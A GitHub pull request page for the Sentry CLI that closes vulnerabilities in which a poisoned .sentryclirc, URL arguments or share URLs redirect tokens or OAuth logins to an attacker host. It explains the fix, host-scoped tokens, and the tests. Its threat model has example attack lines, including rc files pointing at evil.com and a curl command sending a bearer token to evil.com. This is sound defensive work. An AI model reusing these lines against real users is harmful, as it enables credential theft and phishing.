Reverses the dropped refusal from 148897c (which gated only on \`flags.token\`). Phishing is a real concern that I wrongly framed as out-of-scope. Concrete attack: 1. Attacker publishes a malicious package/template repo with \`.sentryclirc\` containing \`url = https://sentry-io.lookalike.com\` (homograph domain). 2. Developer clones it, follows README "run \`sentry auth login\` to set up Sentry." 3. CLI directs browser to attacker's OAuth authorize endpoint. 4. Attacker serves a Sentry-cloned login page that captures the developer's SSO credentials (Google, GitHub, etc.) — far worse than a single token leak because SSO compromise spans every service. \`.sentryclirc\` is a stealthy phishing vector: it slips through code review more easily than a curl-evil.com would, and developers in setup flow rarely scrutinize device-code URLs. The CLI is in a privileged position to prevent this: refuse to direct the browser to a host that arrived via an untrusted channel. The same friction users accept for the token-leak case applies symmetrically here. Renamed back to \`refuseLoginToUntrustedHost\` (covers both paths). Test in login-token-rc-poison.test.ts updated to assert OAuth path refuses before any browser-bound URL is shown to the user.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Closes the "untrusted input redirects credentialed requests to an attacker host" vulnerability class. Three CVE-class shapes:
URL argument (
sentry-url-parser.ts):sentry issue view https://evil.com/...previously wroteenv.SENTRY_HOST=https://evil.comunconditionally → every subsequent authenticated fetch / OAuth refresh sent credentials to the attacker..sentryclircinjection (sentryclirc.ts): a committed.sentryclircin a cloned repo could set[defaults] url = https://evil.com. WithSENTRY_AUTH_TOKENin env andSENTRY_HOSTunset, the env-shim wrote the attacker's URL and preserved the real token for routing there.Share URL custom headers (
api/issues.ts):getSharedIssueattachedSENTRY_CUSTOM_HEADERS(IAP tokens, mTLS) to any non-SaaS share URL.Plus a phishing vector also closed:
.sentryclircchannel: poisoned rc URL → CLI directs the user's browser to<attacker>/oauth/authorize/..., attacker serves a Sentry-cloned login page, captures the developer's SSO credentials. Worse than a single token leak (compromises every service the SSO covers).Fix — Scope tokens to hosts
Tokens are bound to a specific Sentry host at issuance time. Routing decisions (URL args,
.sentryclirc, env vars) are decoupled from credential decisions: credentials simply aren't attached when destination ≠ token host.Trust establishment
sentry auth login --url <url>is the only way to establish trust for a new host. URL arguments,.sentryclircfiles, andauth loginagainst a host the rc shim wrote are rejected when the host isn't already trusted.sentry <cmd> <url>).sentryclirc [defaults] urlauth login(rc-poisoned host)auth login --token X(rc-poisoned)auth login --url <url>SaaS URLs (
*.sentry.io) always proceed — the SaaS equivalence class covers regional silos and org subdomains.Architecture
authtable gainshost TEXTcolumn (schema v16). Lazy migration backfills NULL hosts from the boot-time env snapshot.src/lib/token-host.ts— origin normalization, SaaS-awareisHostTrusted,getActiveTokenHost. Process-local trust extension for region URLs (db/regions.ts) so authenticated multi-region fan-out works.src/lib/env-token-host.ts— captures the env-token's scope fromSENTRY_HOST/SENTRY_URLat boot, BEFORE.sentryclircshim can mutate env..sentryclircvalues intentionally NOT trusted for scoping.src/lib/token-claims.ts— defensive parser for thesntrys_org-auth-token format. Used as (a) UX fallback incaptureEnvTokenHostwhen env doesn't provide a host, and (b) defense-in-depth at the fetch layer (refuse to attach a token whose claim disagrees with the request origin).sentry auth login --url <url>flag added; persists host with the stored token.Enforcement layers
applySentryUrlContext,applySentryCliRcEnvShim,refuseLoginToUntrustedHostreject mismatched hosts before any credentialed I/O.prepareHeadersandrefreshAccessTokenre-check origin before attaching credentials.applyCustomHeadersis URL-scoped — IAP/mTLS tokens never attach to untrusted hosts.CI hardening recommendation
Sentry org-auth tokens (
sntrys_prefix) embed an unsignedurlclaim recording the issuing host. The CLI uses this claim as a defense-in-depth signal: a request whose origin disagrees with the claim is refused even when the stored host matches the request origin.For CI environments where one step can influence another step's environment (e.g. GitHub Actions
$GITHUB_ENV),sntrys_tokens are recommended oversntryu_user-auth tokens. The claim provides scope binding that env vars alone cannot — an attacker who can poisonSENTRY_HOSTbut not the token cannot redirect the token's destination.Threat model — explicit non-goals
SENTRY_AUTH_TOKEN: out of scope. Such a step cancurl evil.com -H "Authorization: Bearer $TOKEN"directly, bypassing the CLI entirely.sntryu_/ OAuth tokens (no claim available): documented as a workflow-design concern. Recommendation: usesntrys_for CI..envrc/ direnv: out of scope (not loaded by this CLI).Migration UX
host: silent lazy migration from boot-time env snapshot. Oneinfolog line..sentryclircwith repo-local non-SaaS url that doesn't match the active token: first command in the repo after upgrade throwsCliErrorwith an actionable message.Tests
test/lib/security/— 7 attack regression suites covering all four shapes + fetch-layer defense-in-depth.test/lib/token-{host,claims}.{test,property.test}.ts— SaaS equivalence, subdomain/lookalike resistance, claim parsing, origin normalization invariants via fast-check.test/lib/env-token-host.test.ts— snapshot isolation from.sentryclircenv writes.test/lib/db/auth.host.test.ts— persistence + NULL-host lazy migration + clearAuth eviction semantics.Closes
sntrys_tokens from embedded url claim) — implemented.Plan file with full design rationale:
.opencode/plans/1777023782662-proud-circuit.md.